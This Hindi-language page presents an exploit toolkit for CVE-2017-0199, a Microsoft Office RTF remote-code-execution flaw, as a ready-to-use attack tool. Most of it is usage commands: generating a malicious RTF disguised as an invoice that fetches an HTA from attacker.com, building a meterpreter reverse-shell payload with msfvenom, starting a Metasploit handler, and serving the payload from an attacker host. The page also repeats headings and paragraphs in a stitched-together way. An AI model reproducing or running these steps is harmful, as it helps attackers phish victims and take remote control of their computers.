विवरण

Exploit toolkit CVE-2017-0199 - v2.0 एक उपयोगी python स्क्रिप्ट है जो Microsoft RTF RCE का दोहन करने का एक त्वरित और प्रभावी तरीका प्रदान करती है। यह एक दुर्भावनापूर्ण RTF फ़ाइल उत्पन्न कर सकती है और बिना किसी जटिल कॉन्फ़िगरेशन के पीड़ित को metasploit / meterpreter payload पहुंचा सकती है।

CVE-2017-0199

एक्सप्लॉइट टूलकिट CVE-2017-0199 - v2.0 एक उपयोगी पायथन स्क्रिप्ट है जो माइक्रोसॉफ्ट RTF RCE का दोहन करने का त्वरित और प्रभावी तरीका प्रदान करती है। यह बिना किसी जटिल कॉन्फ़िगरेशन के एक दुर्भावनापूर्ण RTF फ़ाइल उत्पन्न कर सकती है और पीड़ित को मेटास्प्लॉइट / मीटरप्रीटर पेलोड वितरित कर सकती है।

रिलीज़ नोट:

स्क्रिप्ट में निम्नलिखित क्षमताएँ जोड़ी गईं

टूलकिट का उपयोग करके दुर्भावनापूर्ण RTF फ़ाइल उत्पन्न करें
टूलकिट को एक छोटे HTA + वेब सर्वर के रूप में शोषण मोड में चलाएं संस्करण: पायथन संस्करण 2.7.13

उदाहरण:

चरण 1: निम्नलिखित कमांड का उपयोग करके दुर्भावनापूर्ण RTF फ़ाइल उत्पन्न करें और पीड़ित को भेजें

सिंटैक्स:

python cve-2017-0199_toolkit.py -M gen -w <filename.rtf> -u http://attacker.com/test.hta

उदाहरण:

python cve-2017-0199_toolkit.py -M gen -w Invoice.rtf -u http://192.168.133.128/logo.doc

चरण 2 (वैकल्पिक, यदि MSF पेलोड का उपयोग कर रहे हैं): मेटास्प्लॉइट पेलोड उत्पन्न करें और हैंडलर शुरू करें

CVE-2017-0199

सबसे लोकप्रिय

विवरण

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe

msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.133.128; run"

python cve-2017-0199_toolkit.py -M exp -e http://attacker.com/shell.exe -l </tmp/shell.exe>

python cve-2017-0199_toolkit.py -M exp -e http://192.168.133.128/shell.exe -l /tmp/shell.exe